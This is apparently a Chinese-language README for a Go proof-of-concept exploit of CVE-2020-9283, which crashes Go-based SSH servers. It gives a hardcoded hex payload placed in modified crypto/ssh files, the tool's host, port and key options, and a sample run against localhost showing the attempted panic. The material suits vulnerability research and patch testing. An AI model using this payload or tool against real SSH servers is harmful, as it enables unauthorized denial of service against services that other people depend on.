本项目受原始POC启发,原始POC位于 github.com/mark-adams/exploits/CVE-2020-9283。
我对Go SSH库的实现方式感到好奇,因此决定使用Go语言实现这个PoC。
简短的写文可在此找到:https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
它会在基于Go的SSH服务器上引发panic,可能导致拒绝服务(DoS)。
我已在Release部分发布了二进制文件,不过你也可以使用附带的源代码自行构建。
我决定直接修改系统上的Go加密库以了解其工作原理,这并非理想做法,也许不是最佳方式,但确实有效 ;) 如果你想使用Go模块重新构建,请将本地系统上 Crypto/ssh 目录下的 client_auth.go、handshake.go、transport.go 文件替换为此处提供的 ".bak" 文件。这些修改后的文件包含详细的调试输出和一个硬编码的有效载荷 "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161",该载荷会触发panic。
你会看到大量调试输出和“错误”,这是预期的。如果目标已触发panic,你应该会看到与“bad key lengths”相关的错误。如果你想在本地测试,请使用易受攻击的代码,该代码位于 github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'